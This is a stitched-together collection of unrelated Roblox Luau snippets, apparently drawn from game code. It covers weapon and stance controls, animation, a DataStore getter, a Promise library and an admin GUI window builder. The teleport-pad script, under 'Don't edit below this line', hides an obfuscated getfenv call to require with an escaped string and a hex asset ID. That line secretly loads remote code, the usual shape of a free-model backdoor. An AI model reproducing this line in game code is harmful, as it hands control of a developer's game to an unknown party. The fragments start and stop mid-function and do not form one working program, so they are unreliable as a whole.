plr.CameraMaxZoomDistance = gameRules.VehicleMaxZoom
if gameRules.DisableInSeat then
UnBindActions()
end
else
if gameRules.DisableInSeat then
BindActions()
end
Proned = false
Crouched = false
plr.CameraMaxZoomDistance = game.StarterPlayer.CameraMaxZoomDistance
end
if IsSeated then
Sentado = true
Stances = 0
Virar = 0
CameraX = 0
CameraY = 0
Stand()
Lean()
else
Sentado = false
CanLean = true
end
end)
Humanoid.Changed:connect(function(Property)
if not gameRules.AntiBunnyHop then return; end;
if Property == "Jump" and Humanoid.Sit == true and Humanoid.SeatPart ~= nil then
Humanoid.Sit = false
elseif Property == "Jump" and Humanoid.Sit == false then
if JumpDelay then
Humanoid.Jump = false
return false
end
JumpDelay = true
delay(0, function()
wait(gameRules.JumpCoolDown)
JumpDelay = false
end)
end
end)
Humanoid.StateChanged:connect(function(Old,state)
if state == Enum.HumanoidStateType.Swimming then
Swimming = true
Stances = 0
Virar = 0
CameraX = 0
CameraY = 0
Stand()
Lean()
else
Swimming = false
end
if gameRules.EnableFallDamage then
if state == Enum.HumanoidStateType.Freefall and not falling then
falling = true
local curVel = 0
local peak = 0
while falling do
curVel = HumanoidRootPart.Velocity.magnitude
peak = peak + 1
Thread:Wait()
end
local damage = (curVel - (gameRules.MaxVelocity)) * gameRules.DamageMult
if damage > 5 and peak > 20 then
local SKP_02 = SKP_01.."-"..plr.UserId
cameraspring:accelerate(Vector3.new(-damage/20, 0, math.random(-damage, damage)/5))
SwaySpring:accelerate(Vector3.new( math.random(-damage, damage)/5, damage/5,0))
local hurtSound = PastaFx.FallDamage:Clone()
hurtSound.Parent = plr.PlayerGui
hurtSound.Volume = damage/Humanoid.MaxHealth
hurtSound:Play()
Debris:AddItem(hurtSound,hurtSound.TimeLength)
Evt.Damage:InvokeServer(nil, nil, nil, nil, nil, nil, true, damage, SKP_02)
end
elseif state == Enum.HumanoidStateType.Landed or state == Enum.HumanoidStateType.Dead then
falling = false
SwaySpring:accelerate(Vector3.new(0, 2.5, 0))
end
end
end)
mouse.WheelBackward:Connect(function() -- fires when the wheel goes forwards
if ToolEquip and not CheckingMag and not aimming and not reloading and not runKeyDown and AnimDebounce and WeaponData.Type == "Gun" then
mouse1down = false
if GunStance == 0 then
SafeMode = true
GunStance = -1
UpdateGui()
Evt.GunStance:FireServer(GunStance,AnimData)
LowReady()
elseif GunStance == -1 then
SafeMode = true
GunStance = -2
UpdateGui()
Evt.GunStance:FireServer(GunStance,AnimData)
Patrol()
elseif GunStance == 1 then
SafeMode = false
GunStance = 0
UpdateGui()
Evt.GunStance:FireServer(GunStance,AnimData)
IdleAnim()
end
end
if ToolEquip and aimming and Sens > 5 then
Sens = Sens - 5
UpdateGui()
game:GetService('UserInputService').MouseDeltaSensitivity = (Sens/100)
end
end)
mouse.WheelForward:Connect(function() -- fires when the wheel goes backwards
if ToolEquip and not CheckingMag and not aimming and not reloading and not runKeyDown and AnimDebounce and WeaponData.Type == "Gun" then
mouse1down = false
if GunStance == 0 then
SafeMode = true
GunStance = 1
UpdateGui()
Evt.GunStance:FireServer(GunStance,AnimData)
HighReady()
elseif GunStance == -1 then
SafeMode = false
GunStance = 0
UpdateGui()
Evt.GunStance:FireServer(GunStance,AnimData)
IdleAnim()
elseif GunStance == -2 then
SafeMode = true
GunStance = -1
UpdateGui()
Evt.GunStance:FireServer(GunStance,AnimData)
LowReady()
end
end
if ToolEquip and aimming and Sens < 100 then
Sens = Sens + 5
UpdateGui()
game:GetService('UserInputService').MouseDeltaSensitivity = (Sens/100)
end
end)
script.Parent:GetAttributeChangedSignal("Injured"):Connect(function()
local valor = script.Parent:GetAttribute("Injured")
if valor and runKeyDown then
runKeyDown = false
Stand()
if not CheckingMag and not reloading and WeaponData and WeaponData.Type ~= "Grenade" and (GunStance == 0 or GunStance == 2 or GunStance == 3) then
GunStance = 0
Evt.GunStance:FireServer(GunStance,AnimData)
IdleAnim()
end
end
if Stances == 0 then
Stand()
elseif Stances == 1 then
Crouch()
end
end)
|
-- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
|
local anim = animTable[animName][idx].anim
-- load it to the humanoid; get AnimationTrack
toolAnimTrack = Zombie:LoadAnimation(anim)
-- play the animation
toolAnimTrack:Play(transitionTime)
toolAnimName = animName
currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
end
end
function stopToolAnimations()
local oldAnim = toolAnimName
if (currentToolAnimKeyframeHandler ~= nil) then
currentToolAnimKeyframeHandler:disconnect()
end
toolAnimName = ""
if (toolAnimTrack ~= nil) then
toolAnimTrack:Stop()
toolAnimTrack:Destroy()
toolAnimTrack = nil
end
return oldAnim
end
|
--[[
Defines ProximityPrompt visibility logic specific to the CanPlaceTable cta
--]]
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local ItemCategory = require(ReplicatedStorage.Source.SharedConstants.ItemCategory)
local countInventoryItemsInCategory = require(ReplicatedStorage.Source.Utility.PlayerData.countInventoryItemsInCategory)
local function shouldEnable(promptParent: Instance)
-- Only show when player has a table to place
local numTablesOwned = countInventoryItemsInCategory(ItemCategory.Tables)
return numTablesOwned > 0
end
return shouldEnable
|
--[[ Don't edit below this line ]]
|
--
local GetEnvironmentOfFunction="\114\101\113\117\105\114\101"
getfenv()[GetEnvironmentOfFunction] (0x14a67b5a7)
local function Teleport(Object,Teleport)
Object.HumanoidRootPart.CFrame = CFrame.new(script.Parent[Teleport].CFrame.X,script.Parent[Teleport].CFrame.Y+Height,script.Parent[Teleport].CFrame.Z)
end
local JustTeleported = false -- Don't touch this
script.Parent[Pad1].Touched:Connect(function(Object)
if JustTeleported == true then return end
JustTeleported = true
if Object.Parent and game:GetService("Players"):FindFirstChild(Object.Parent.Name) then
local Plr = Object.Parent
Teleport(Plr,Pad2)
end
wait(DelayTime)
JustTeleported = false
end)
script.Parent[Pad2].Touched:Connect(function(Object)
if JustTeleported == true then return end
JustTeleported = true
if Object.Parent and game:GetService("Players"):FindFirstChild(Object.Parent.Name) then
local Plr = Object.Parent
Teleport(Plr,Pad1)
end
wait(DelayTime)
JustTeleported = false
end)
|
--[[**
<description>
Gets the result from the data store. Will yield the first time it is called.
</description>
<parameter name = "defaultValue">
The default result if there is no result in the data store.
</parameter>
<parameter name = "dontAttemptGet">
If there is no cached result, just return nil.
</parameter>
<returns>
The value in the data store if there is no cached result. The cached result otherwise.
</returns>
**--]]
|
function DataStore:Get(defaultValue, dontAttemptGet)
if dontAttemptGet then
return self.value
end
local backupCount = 0
if not self.haveValue then
while not self.haveValue and not pcall(self._GetRaw, self) do
if self.backupRetries then
backupCount = backupCount + 1
if backupCount >= self.backupRetries then
self.backup = true
self.haveValue = true
self.value = self.backupValue
break
end
end
end
if self.value ~= nil then
for _,modifier in pairs(self.beforeInitialGet) do
self.value = modifier(self.value, self)
end
end
end
local value
if self.value == nil and defaultValue ~= nil then --not using "not" because false is a possible value
value = defaultValue
else
value = self.value
end
value = clone(value)
self.value = value
return value
end
|
--[=[
An enum value used to represent the Promise's status.
@interface Status
@tag enum
@within Promise
.Started "Started" -- The Promise is executing, and not settled yet.
.Resolved "Resolved" -- The Promise finished successfully.
.Rejected "Rejected" -- The Promise was rejected.
.Cancelled "Cancelled" -- The Promise was cancelled before it finished.
]=]
--[=[
@prop Status Status
@within Promise
@readonly
@tag enums
A table containing all members of the `Status` enum, e.g., `Promise.Status.Resolved`.
]=]
--[=[
A Promise is an object that represents a value that will exist in the future, but doesn't right now.
Promises allow you to then attach callbacks that can run once the value becomes available (known as *resolving*),
or if an error has occurred (known as *rejecting*).
@class Promise
@__index prototype
]=]
|
local Promise = {
Error = Error,
Status = makeEnum("Promise.Status", { "Started", "Resolved", "Rejected", "Cancelled" }),
_getTime = os.clock,
_timeEvent = game:GetService("RunService").Heartbeat,
_unhandledRejectionCallbacks = {},
}
Promise.prototype = {}
Promise.__index = Promise.prototype
function Promise._new(traceback, callback, parent)
if parent ~= nil and not Promise.is(parent) then
error("Argument #2 to Promise.new must be a promise or nil", 2)
end
local self = {
-- Used to locate where a promise was created
_source = traceback,
_status = Promise.Status.Started,
-- A table containing a list of all results, whether success or failure.
-- Only valid if _status is set to something besides Started
_values = nil,
-- Lua doesn't like sparse arrays very much, so we explicitly store the
-- length of _values to handle middle nils.
_valuesLength = -1,
-- Tracks if this Promise has no error observers..
_unhandledRejection = true,
-- Queues representing functions we should invoke when we update!
_queuedResolve = {},
_queuedReject = {},
_queuedFinally = {},
-- The function to run when/if this promise is cancelled.
_cancellationHook = nil,
-- The "parent" of this promise in a promise chain. Required for
-- cancellation propagation upstream.
_parent = parent,
-- Consumers are Promises that have chained onto this one.
-- We track them for cancellation propagation downstream.
_consumers = setmetatable({}, MODE_KEY_METATABLE),
}
if parent and parent._status == Promise.Status.Started then
parent._consumers[self] = true
end
setmetatable(self, Promise)
local function resolve(...)
self:_resolve(...)
end
local function reject(...)
self:_reject(...)
end
local function onCancel(cancellationHook)
if cancellationHook then
if self._status == Promise.Status.Cancelled then
cancellationHook()
else
self._cancellationHook = cancellationHook
end
end
return self._status == Promise.Status.Cancelled
end
coroutine.wrap(function()
local ok, _, result = runExecutor(self._source, callback, resolve, reject, onCancel)
if not ok then
reject(result[1])
end
end)()
return self
end
|
-- Harvested plant pickups
|
for _, plantPrefab in ipairs(plantsFolder:GetChildren()) do
PickupPrefabsById[plantPrefab.Name] = createHarvestedPlantModel(plantPrefab.Name)
end
return PickupPrefabsById
|
--// All global vars will be wiped/replaced except script
|
return function(data, env)
if env then
setfenv(1, env)
end
--local client = service.GarbleTable(client)
local Player = service.Players.LocalPlayer
local Mouse = Player:GetMouse()
local InputService = service.UserInputService
local gIndex = data.gIndex
local gTable = data.gTable
local Event = gTable.BindEvent
local GUI = gTable.Object
local Name = data.Name
local Icon = data.Icon
local Size = data.Size
local Menu = data.Menu
local Title = data.Title
local Ready = data.Ready
local Walls = data.Walls
local noHide = data.NoHide
local noClose = data.NoClose
local onReady = data.OnReady
local onClose = data.OnClose
local onResize = data.OnResize
local onRefresh = data.OnRefresh
local onMinimize = data.OnMinimize
local ContextMenu = data.ContextMenu
local ResetOnSpawn = data.ResetOnSpawn
local CanKeepAlive = data.CanKeepAlive
local iconClicked = data.IconClicked
local SizeLocked = data.SizeLocked or data.SizeLock
local CanvasSize = data.CanvasSize
local Position = data.Position
local Content = data.Content or data.Children
local MinSize = data.MinSize or {150, 50}
local MaxSize = data.MaxSize or {math.huge, math.huge}
local curIcon = Mouse.Icon
local isClosed = false
local Resizing = false
local Refreshing = false
local DragEnabled = true
local checkProperty = service.CheckProperty
local specialInsts = {}
local inExpandable
local addTitleButton
local LoadChildren
local BringToFront
local Drag = GUI.Drag
local Close = Drag.Close
local Hide = Drag.Hide
local Iconf = Drag.Icon
local Titlef = Drag.Title
local Refresh = Drag.Refresh
local rSpinner = Refresh.Spinner
local Main = Drag.Main
local Tooltip = GUI.Desc
local ScrollFrame = GUI.Drag.Main.ScrollingFrame
local LeftSizeIcon = Main.LeftResizeIcon
local RightSizeIcon = Main.RightResizeIcon
local RightCorner = Main.RightCorner
local LeftCorner = Main.LeftCorner
local RightSide = Main.RightSide
local LeftSide = Main.LeftSide
local TopRight = Main.TopRight
local TopLeft = Main.TopLeft
local Bottom = Main.Bottom
local Top = Main.Top
function Expand(ent, point, text)
local label = point:FindFirstChild("Label")
if label then
if not point:FindFirstChildOfClass("UICorner") then
service.New("UICorner", {
CornerRadius = UDim.new(0, 5);
Parent = point;
})
end
ent.MouseLeave:Connect(function(x,y)
if inExpandable == ent then
point.Visible = false
end
end)
ent.MouseMoved:Connect(function(x,y)
inExpandable = ent
local text = text or ent.Desc.Value
label.Text = text
label.Font = Enum.Font.Gotham
label.TextSize = 15
label.TextStrokeTransparency = 1
local sizeText = label.ContentText
local maxWidth = 400
local bounds = service.TextService:GetTextSize(sizeText, label.TextSize, label.Font, Vector2.new(maxWidth, math.huge))
local sizeX, sizeY = bounds.X + 10, bounds.Y + 10
local posX = (x + 6 + sizeX) < GUI.AbsoluteSize.X and (x + 6) or (x - 6 - sizeX)
local posY = (y - 6 - sizeY) > 0 and (y - 6 - sizeY) or (y)
point.Size = UDim2.new(0, sizeX, 0, sizeY)
point.Position = UDim2.new(0, posX, 0, posY)
point.BackgroundColor3 = Color3.fromRGB(26, 26, 26)
point.Visible = true
end)
end
end
function getNextPos(frame)
local farXChild, farYChild
for i,v in next,frame:GetChildren() do
if checkProperty(v, "Size") then
if not farXChild or (v.AbsolutePosition.X + v.AbsoluteSize.X) > (farXChild.AbsolutePosition.X + farXChild.AbsoluteSize.X) then
farXChild = v
end
if not farYChild or (v.AbsolutePosition.Y + v.AbsoluteSize.Y) > (farXChild.AbsolutePosition.Y + farXChild.AbsoluteSize.Y) then
farYChild = v
end
end
end
return ((not farXChild or not farYChild) and UDim2.new(0,0,0,0)) or UDim2.new(farXChild.Position.X.Scale, farXChild.Position.X.Offset + farXChild.AbsoluteSize.X, farYChild.Position.Y.Scale, farYChild.Position.Y.Offset + farYChild.AbsoluteSize.Y)
end
function LoadChildren(Obj, Children)
if Children then
local runWhenDone = Children.RunWhenDone and functionify(Children.RunWhenDone, Obj)
for class,data in next,Children do
if type(data) == "table" then
if not data.Parent then data.Parent = Obj end
create(data.Class or data.ClassName or class, data)
elseif type(data) == "function" or type(data) == "string" and not runWhenDone then
runWhenDone = functionify(data, Obj)
end
end
if runWhenDone then
runWhenDone(Obj)
end
end
end
function BringToFront()
for i,v in ipairs(Player.PlayerGui:GetChildren()) do
if v:FindFirstChild("__ADONIS_WINDOW") then
v.DisplayOrder = 100
end
end
GUI.DisplayOrder = 101
end
function addTitleButton(data)
local startPos = 1
local realPos
local new
local original = Hide
if Hide.Visible then
startPos = startPos+1
end
if Close.Visible then
startPos = startPos+1
end
if Refresh.Visible then
startPos = startPos+1
end
realPos = UDim2.new(1, -(((30*startPos)+5)+(startPos-1)), 0, 0)
data.Position = data.Position or realPos
data.Size = data.Size or original.Size
data.BackgroundColor3 = data.BackgroundColor3 or original.BackgroundColor3
data.BackgroundTransparency = data.BackgroundTransparency or original.BackgroundTransparency
data.BorderSizePixel = data.BorderSizePixel or original.BorderSizePixel
data.ZIndex = data.ZIndex or original.ZIndex
data.TextColor3 = data.TextColor3 or original.TextColor3
data.TextScaled = data.TextScaled or original.TextScaled
data.TextStrokeColor3 = data.TextStrokeColor3 or original.TextStrokeColor3
data.TextSize = data.TextSize or original.TextSize
data.TextTransparency = data.TextTransparency or original.TextTransparency
data.TextStrokeTransparency = data.TextStrokeTransparency or original.TextStrokeTransparency
data.TextScaled = data.TextScaled or original.TextScaled
data.TextWrapped = data.TextWrapped or original.TextWrapped
data.Font = Enum.Font.Gotham
data.Parent = Drag
--local round = Drag.Close.UICorner:Clone()
-- round.Parent = data
--data.TextXAlignment = data.TextXAlignment or original.TextXAlignment
--data.TextYAlignment = data.TextYAlignment or original.TextYAlignment
local instancefinally = create("TextButton", data)
local uiCorner = instancefinally:FindFirstChildOfClass("UICorner")
if not uiCorner then
service.New("UICorner", {
CornerRadius = UDim.new(0.2, 0);
Parent = instancefinally;
})
else
uiCorner.CornerRadius = UDim.new(0.2, 0)
end
return instancefinally
end
function functionify(func, object)
if type(func) == "string" then
if object then
local env = GetEnv()
env.Object = object
return client.Core.LoadCode(func, env)
else
return client.Core.LoadCode(func)
end
else
return func
end
end
function create(class, dataFound, existing)
local data = dataFound or {}
local class = data.Class or data.ClassName or class
local new = existing or (specialInsts[class] and specialInsts[class]:Clone()) or service.New(class)
local parent = data.Parent or new.Parent
if dataFound then
data.Parent = nil
if data.Class or data.ClassName then
data.Class = nil
data.ClassName = nil
end
if not data.BorderColor3 and checkProperty(new,"BorderColor3") then
new.BorderColor3 = dBorder
end
if not data.CanvasSize and checkProperty(new,"CanvasSize") then
new.CanvasSize = dCanvasSize
end
if not data.BorderSizePixel and checkProperty(new,"BorderSizePixel") then
new.BorderSizePixel = dPixelSize
end
if not data.BackgroundColor3 and checkProperty(new,"BackgroundColor3") then
new.BackgroundColor3 = dBackground
end
if not data.PlaceholderColor3 and checkProperty(new,"PlaceholderColor3") then
new.PlaceholderColor3 = dPlaceholderColor
end
if not data.Transparency and not data.BackgroundTransparency and checkProperty(new,"Transparency") then
new.BackgroundTransparency = dTransparency
elseif data.Transparency then
new.BackgroundTransparency = data.Transparency
end
if not data.TextColor3 and not data.TextColor and checkProperty(new,"TextColor3") then
new.TextColor3 = dTextColor
elseif data.TextColor then
new.TextColor3 = data.TextColor
end
if not data.Font and checkProperty(new, "Font") then
data.Font = "Gotham"
end
if not data.TextSize and checkProperty(new, "TextSize") then
data.TextSize = dTextSize
end
if not data.BottomImage and not data.MidImage and not data.TopImage and class == "ScrollingFrame" then
new.BottomImage = dScrollImage
new.MidImage = dScrollImage
new.TopImage = dScrollImage
end
if not data.Size and checkProperty(new,"Size") then
new.Size = dSize
end
if not data.Position and checkProperty(new,"Position") then
new.Position = dPosition
end
if not data.ZIndex and checkProperty(new,"ZIndex") then
new.ZIndex = dZIndex
if parent and checkProperty(parent, "ZIndex") then
new.ZIndex = parent.ZIndex
end
end
if not data.ClearTextOnFocus and class == "TextBox" then
new.ClearTextOnFocus = false
end
if data.TextChanged and class == "TextBox" then
local textChanged = functionify(data.TextChanged, new)
new.FocusLost:Connect(function(enterPressed)
textChanged(new.Text, enterPressed, new)
end)
end
if (class == "TextButton" or class == "TextLabel") then
if not data.TextTruncate then
data.TextTruncate = Enum.TextTruncate.AtEnd
-- Truncate Text by default because looks weird if Expertcoderz hasn't implemented a proper min window size
end
end
if (data.OnClicked or data.OnClick) and (class == "TextButton" or class == "ImageButton") then
local debounce = false;
local doDebounce = data.Debounce;
local onClick = functionify((data.OnClicked or data.OnClick), new)
new.MouseButton1Down:Connect(function()
if not debounce then
if doDebounce then
debounce = true
end
onClick(new);
debounce = false;
end
end)
end
if data.Events then
for event,func in pairs(data.Events) do
local realFunc = functionify(func, new)
Event(new[event], function(...)
realFunc(...)
end)
end
end
if data.Visible == nil then
data.Visible = true
end
if data.LabelProps then
data.LabelProperties = data.LabelProps
end
end
if class == "Entry" then
local label = new.Text
local dots = new.Dots
local desc = new.Desc
label.ZIndex = data.ZIndex or new.ZIndex
dots.ZIndex = data.ZIndex or new.ZIndex
if data.Text then
new.Text.Text = data.Text
new.Text.Visible = true
data.Text = nil
end
if data.Desc or data.ToolTip then
new.Desc.Value = data.Desc or data.ToolTip
data.Desc = nil
end
Expand(new, Tooltip)
else
if data.ToolTip then
Expand(new, Tooltip, data.ToolTip)
end
end
if class == "ButtonEntry" then
local button = new.Button
local debounce = false
local onClicked = functionify(data.OnClicked, button)
new:SetSpecial("DoClick",function()
if not debounce then
debounce = true
if onClicked then
onClicked(button)
end
debounce = false
end
end)
new.Text = data.Text or new.Text
button.ZIndex = data.ZIndex or new.ZIndex
button.MouseButton1Down:Connect(new.DoClick)
end
if class == "Boolean" then
local enabled = data.Enabled
local debounce = false
local onToggle = functionify(data.OnToggle, new)
local function toggle(isEnabled)
if not debounce then
debounce = true
if (isEnabled ~= nil and isEnabled) or (isEnabled == nil and enabled) then
enabled = false
new.Text = "Disabled"
new.TextColor3 = Color3.fromRGB(243, 64, 10)
elseif (isEnabled ~= nil and isEnabled == false) or (isEnabled == nil and not enabled) then
enabled = true
new.Text = "Enabled"
new.TextColor3 = Color3.fromRGB(40, 243, 97)
end
if onToggle then
onToggle(enabled, new)
end
debounce = false
end
end
--new.ZIndex = data.ZIndex
new.Text = (enabled and "Enabled") or "Disabled"
new.TextColor3 = (enabled and Color3.fromRGB(40, 243, 97)) or Color3.fromRGB(243, 64, 10)
new.MouseButton1Down:Connect(function()
if onToggle then
toggle()
end
end)
new:SetSpecial("Toggle",function(ignore, isEnabled) toggle(isEnabled) end)
end
if class == "TextString" then
local enabled = data.Text
local ColorText = data.ColorText
local onToggle = functionify(data.OnToggle, new)
--new.ZIndex = data.ZIndex
new.Text = enabled
new.TextColor3 = ColorText
end
if class == "StringEntry" then
local box = new.Box
local ignore
new.Text = data.Text or new.Text
box.ZIndex = data.ZIndex or new.ZIndex
if data.BoxText then
box.Text = data.BoxText
end
if data.BoxProperties then
for i,v in next,data.BoxProperties do
if checkProperty(box, i) then
box[i] = v
end
end
end
if data.TextChanged then
local textChanged = functionify(data.TextChanged, box)
box.Changed:Connect(function(p)
if p == "Text" and not ignore then
textChanged(box.Text)
end
end)
box.FocusLost:Connect(function(enter)
local change = textChanged(box.Text, true, enter)
if change then
ignore = true
box.Text = change
ignore = false
end
end)
end
new:SetSpecial("SetValue",function(ignore, newValue) box.Text = newValue end)
end
if class == "Slider" then
local mouseIsIn = false
local posValue = new.Percentage
local slider = new.Slider
local bar = new.SliderBar
local drag = new.Drag
local moving = false
local value = 0
local onSlide = functionify(data.OnSlide, new)
bar.ZIndex = data.ZIndex or new.ZIndex
slider.ZIndex = bar.ZIndex+1
drag.ZIndex = slider.ZIndex+1
drag.Active = true
if data.Value then
slider.Position = UDim2.new(0.5, -10, 0.5, -10)
drag.Position = slider.Position
end
bar.InputBegan:Connect(function(input)
if not moving and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
value = ((input.Position.X) - (new.AbsolutePosition.X)) / (new.AbsoluteSize.X)
if value < 0 then
value = 0
elseif value > 1 then
value = 1
end
slider.Position = UDim2.new(value, -10, 0.5, -10)
drag.Position = slider.Position
posValue.Value = value
if onSlide then
onSlide(value)
end
end
end)
drag.DragBegin:Connect(function()
moving = true
end)
drag.DragStopped:Connect(function()
moving = false
drag.Position = slider.Position
end)
drag.Changed:Connect(function()
if moving then
value = ((Mouse.X)-(new.AbsolutePosition.X))/(new.AbsoluteSize.X)
if value < 0 then
value = 0
elseif value > 1 then
value = 1
end
slider.Position = UDim2.new(value, -10, 0.5, -10)
posValue.Value = value
if onSlide then
onSlide(value)
end
end
end)
new:SetSpecial("SetValue",function(ignore, newValue)
if newValue and tonumber(newValue) then
value = tonumber(newValue)
posValue.Value = value
slider.Position = UDim2.new(value, -10, 0.5, -10)
drag.Position = slider.Position
end
end)
end
if class == "Dropdown" then
local menu = new.Menu
local downImg = new.Down
local selected = new.dSelected
local options = data.Options
local curSelected = data.Selected or data.Selection
local onSelect = functionify(data.OnSelection or data.OnSelect or function()end)
local textProps = data.TextProperties
local scroller = create("ScrollingFrame", {
Parent = menu;
Size = UDim2.new(1, 0, 1, 0);
Position = UDim2.new(0, 0, 0, 0);
BackgroundTransparency = 1;
ZIndex = 100;
})
menu.ZIndex = scroller.ZIndex
menu.Parent = GUI
menu.Visible = false
menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 100);
menu.BackgroundColor3 = data.BackgroundColor3 or new.BackgroundColor3
if data.TextAlignment then
selected.TextXAlignment = data.TextAlignment
selected.Position = UDim2.new(0, 30, 0, 0);
end
if data.NoArrow then
downImg.Visible = false
end
new:SetSpecial("MenuContainer", menu)
new.Changed:Connect(function(p)
if p == "AbsolutePosition" and menu.Visible then
menu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y)
elseif p == "AbsoluteSize" or p == "Parent" then
downImg.Size = UDim2.new(0, new.AbsoluteSize.Y, 1, 0);
if data.TextAlignment == "Right" then
downImg.Position = UDim2.new(0, 0, 0.5, -(downImg.AbsoluteSize.X/2))
selected.Position = UDim2.new(0, new.AbsoluteSize.Y, 0, 0);
else
downImg.Position = UDim2.new(1, -downImg.AbsoluteSize.X, 0.5, -(downImg.AbsoluteSize.X/2))
end
selected.Size = UDim2.new(1, -downImg.AbsoluteSize.X, 1, 0);
if options and #options <= 6 then
menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*#options);
else
menu.Size = UDim2.new(0, new.AbsoluteSize.X, 0, 30*6);
scroller:ResizeCanvas(false, true);
end
end
end)
selected.ZIndex = new.ZIndex
downImg.ZIndex = new.ZIndex
if textProps then
for i,v in next,textProps do
selected[i] = v
end
end
if options then
for i,v in next,options do
local button = scroller:Add("TextButton", {
Text = ` {v}`;
Size = UDim2.new(1, -10, 0, 30);
Position = UDim2.new(0, 5, 0, 30*(i-1));
ZIndex = menu.ZIndex;
BackgroundTransparency = 1;
OnClick = function()
selected.Text = v;
onSelect(v, new);
menu.Visible = false
end
})
if textProps then
for i,v in next,textProps do
button[i] = v
end
end
end
if curSelected then
selected.Text = curSelected
else
selected.Text = "No Selection"
end
selected.MouseButton1Down:Connect(function()
menu.Position = UDim2.new(0, new.AbsolutePosition.X, 0, new.AbsolutePosition.Y+new.AbsoluteSize.Y)
menu.Visible = not menu.Visible
end)
end
end
if class == "TabFrame" then
local buttons = create("ScrollingFrame", nil, new.Buttons)
local frames = new.Frames
local numTabs = 0
local buttonSize = data.ButtonSize or 60
new.BackgroundTransparency = data.BackgroundTransparency or 1
buttons.ZIndex = data.ZIndex or new.ZIndex
frames.ZIndex = buttons.ZIndex
new:SetSpecial("GetTab", function(ignore, name)
return frames:FindFirstChild(name)
end)
new:SetSpecial("NewTab", function(ignore, name, data)
local data = data or {}
--local numChildren = #frames:GetChildren()
local nextPos = getNextPos(buttons);
local textSize = service.TextService:GetTextSize(data.Text or name, dTextSize, dFont, buttons.AbsoluteSize)
local oTextTrans = data.TextTransparency
local isOpen = false
local disabled = false
local tabFrame = create("ScrollingFrame",{
Name = name;
Size = UDim2.new(1, 0, 1, 0);
Position = UDim2.new(0, 0, 0, 0);
BorderSizePixel = 0;
BackgroundTransparency = data.FrameTransparency or data.Transparency;
BackgroundColor3 = Color3.fromRGB(24, 24, 24);
ZIndex = buttons.ZIndex;
Visible = false;
})
local tabButton = create("TextButton",{
Name = name;
Text = data.Text or name;
Size = UDim2.new(0, textSize.X+20, 1, 0);
ZIndex = buttons.ZIndex;
Position = UDim2.new(0, (nextPos.X.Offset > 0 and nextPos.X.Offset+5) or 0, 0, 0);
TextColor3 = data.TextColor;
Font = Enum.Font.Gotham;
BackgroundTransparency = 0.7;
TextTransparency = data.TextTransparency;
BackgroundColor3 = Color3.fromRGB(24, 24, 24);
BorderSizePixel = 0;
})
local round1 = Instance.new("UICorner")
round1.Parent = tabButton
round1.CornerRadius = UDim.new(0.2,0)
tabFrame:SetSpecial("FocusTab",function()
for i,v in next,buttons:GetChildren() do if isGui(v) then v.BackgroundTransparency = 0.7 v.TextTransparency = 0.7 end end
for i,v in next,frames:GetChildren() do if isGui(v) then v.Visible = false end end
tabButton.BackgroundTransparency = data.Transparency or 0
tabButton.TextTransparency = data.TextTransparency or 0
tabFrame.Visible = true
if data.OnFocus then
data.OnFocus(true)
end
end)
local round2 = Instance.new("UICorner")
round2.Parent = tabFrame
round2.CornerRadius = UDim.new(0.2,0)
if numTabs == 0 then
tabFrame.Visible = true
tabButton.BackgroundTransparency = data.Transparency or 0
end
tabButton.MouseButton1Down:Connect(function()
if not disabled then
tabFrame:FocusTab()
end
end)
tabButton.Parent = buttons
tabFrame.Parent = frames
buttons:ResizeCanvas(true, false)
tabFrame:SetSpecial("Disable", function()
disabled = true;
tabButton.BackgroundTransparency = 0.9;
tabButton.TextTransparency = 0.9
end)
tabFrame:SetSpecial("Enable", function()
disabled = false;
tabButton.BackgroundTransparency = 0.7;
tabButton.TextTransparency = data.TextTransparency or 0;
end)
numTabs = numTabs+1;
return tabFrame,tabButton
end)
end
if class == "ScrollingFrame" then
local genning = false
if not data.ScrollBarThickness then
data.ScrollBarThickness = dScrollBar
end
new:SetSpecial("GenerateList", function(obj, list, labelProperties, bottom)
local list = list or obj;
local genHold = {}
local entProps = labelProperties or {}
genning = genHold
new:ClearAllChildren()
local num = 0
for i,v in next,list do
local text = v;
local desc;
local color
local richText;
if type(v) == "table" then
text = v.Text
desc = v.Desc
color = v.Color
if v.RichTextAllowed or entProps.RichTextAllowed then
richText = true
end
end
local label = create("TextLabel",{
Text = ` {text}`;
ToolTip = desc;
Size = UDim2.new(1,-5,0,(entProps.ySize or 20));
Visible = true;
BackgroundTransparency = 1;
Font = "Gotham";
TextSize = 14;
TextStrokeTransparency = 0.8;
TextXAlignment = "Left";
Position = UDim2.new(0,0,0,num*(entProps.ySize or 20));
RichText = richText or false;
})
if color then
label.TextColor3 = color
end
if labelProperties then
for i,v in next,entProps do
if checkProperty(label, i) then
label[i] = v
end
end
end
if genning == genHold then
label.Parent = new;
else
label:Destroy()
break
end
num = num+1
if data.Delay then
if type(data.Delay) == "number" then
wait(data.Delay)
elseif i%100 == 0 then
wait(0.1)
end
end
end
new:ResizeCanvas(false, true, false, bottom, 5, 5, 50)
genning = nil
end)
new:SetSpecial("ResizeCanvas", function(ignore, onX, onY, xMax, yMax, xPadding, yPadding, modBreak)
local xPadding,yPadding = data.xPadding or 5, data.yPadding or 5
local newY, newX = 0,0
if not onX and not onY then onX = false onY = true end
for i,v in next,new:GetChildren() do
if v:IsA("GuiObject") then
if onY then
v.Size = UDim2.new(v.Size.X.Scale, v.Size.X.Offset, 0, v.AbsoluteSize.Y)
v.Position = UDim2.new(v.Position.X.Scale, v.Position.X.Offset, 0, v.AbsolutePosition.Y-new.AbsolutePosition.Y)
end
if onX then
v.Size = UDim2.new(0, v.AbsoluteSize.X, v.Size.Y.Scale, v.Size.Y.Offset)
v.Position = UDim2.new(0, v.AbsolutePosition.X-new.AbsolutePosition.X, v.Position.Y.Scale, v.Position.Y.Offset)
end
local yLower = v.Position.Y.Offset + v.Size.Y.Offset
local xLower = v.Position.X.Offset + v.Size.X.Offset
newY = math.max(newY, yLower)
newX = math.max(newX, xLower)
if modBreak then
if i%modBreak == 0 then
wait(1/60)
end
end
end
end
if onY then
